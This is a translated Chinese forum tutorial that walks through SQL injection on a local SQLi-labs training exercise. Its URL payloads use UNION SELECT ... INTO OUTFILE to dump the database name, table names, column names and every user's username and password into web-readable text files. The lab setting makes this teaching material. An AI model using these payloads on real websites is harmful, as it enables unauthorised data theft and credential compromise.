看雪论坛
发新帖
1

[翻译]使用OUTFILE导出数据库数据

hesir 2017-7-12 19:36 1543

今天我们将要使用语句SELECT...INTO OUTFILE,这是把表记录导出到文本文件excel文件最简单的方法。

SELECT...INTO OUTFILE语句可以让用户将表中信息快速地导出到服务机器的一个文本文件中,但有些地方需要注意,输出文件是由MySQL服务器创建地,用户须明确指定要将该文件创建在服务机器地哪个位置,而且该路径不能是已存在地,因为不支持擦除写入,另外,执行该语句需要file权限。

 

Lesson 7

 

使用浏览器打开http://localhost:81/sqli/Less-7/?id=1(注:具体以个人配置为准)

由上图可以看出,屏幕上显示了"You are in.... Use outfile......",现在我们来试着搞点破坏。

在最后加上一个单引号('):

http://localhost:81/sqli/Less-7/?id=1'

 由上图可以看出,破坏成功,这说明该数据库是可被SQL注入攻击的。

接下来就是修复该语法错误,在经过大量的尝试后,最终确定了以下查询语句:

http://localhost:81/sqli/Less-7/?id=1')) --+

 由上图可以看出,语法已经正确了。可能你会注意到,本次SQL注入的步骤与以前的相同,只是采用的技术发生了变化。

接下来就到了今天的主题了,将数据导出到文本文件,请留意之前所说地需要注意的地方。

http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+

 由上图可以看出,上面的查询存在语法错误,不过先别着急,我们先来看看数据到底导出成功了没有。

先打开一个新标签页,再次进入该实验室:

http://localhost:81/sqli/Less-7/

然后输入hack1.txt检查有没有该文件:

 http://localhost:81/sqli/Less-7/hack1.txt

 

由上图可以看出,之前那条语句执行成功了,数据已经被导出来了。至于提示的语法错误?不重要了。 

接下来将数据库名导出到一个新的文件中:

http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+

 

 使用以下语句进行查看:

 http://localhost:81/sqli/Less-7/hack2.txt

由上图可以看出,数据库名为'security'。

接下来将该数据库中的所有表名导出到一个新的文件中:

http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()  into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+

使用以下语句进行查看:

http://localhost:81/sqli/Less-7/hack3.txt

由上图可以看出,表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接下来将表users的列名导出到一个新的文件中:

http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'  into outfile "/xampp/htdocs/sqli/Less-7/hack4.txt" --+

使用以下语句进行查看:

http://localhost:81/sqli/Less-7/hack4.txt

由上图可以看出,表users的列名有很多,这里我们只关心其中两个:

C1: username

C2: password

最后就是将表users中的所有用户名及对应的密码导出到一个新的文件中:

http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password) from users  into outfile "/xampp/htdocs/sqli/Less-7/hack5.txt" --+

使用以下语句进行查看:

http://localhost:81/sqli/Less-7/hack5.txt

由上图可以看出,表users中的所有用户名及对应的密码已经被保存到文件hack5.txt中了。


提示:你可以使用excel文件做同样的事情,只需把文件后缀名由 txt 改为 csv 即可。不妨动手试试吧!


相关文章:

SQL注入新手教程(第一部分)

SQL注入新手教程(第二部分)

一步步手动进行SQL注入

如何手动绕过SQL注入过滤器?(一)

如何手动绕过SQL注入过滤器?(二)

如何手动绕过SQL注入过滤器?(三)

基于表单的SQL注入(手动) 




原文链接:http://www.hackingarticles.in/dumping-database-using-outfile/

本文由 看雪翻译小组 hesir 编译

本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (0)
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.011, SQL: 8 / 京ICP备10040895号-17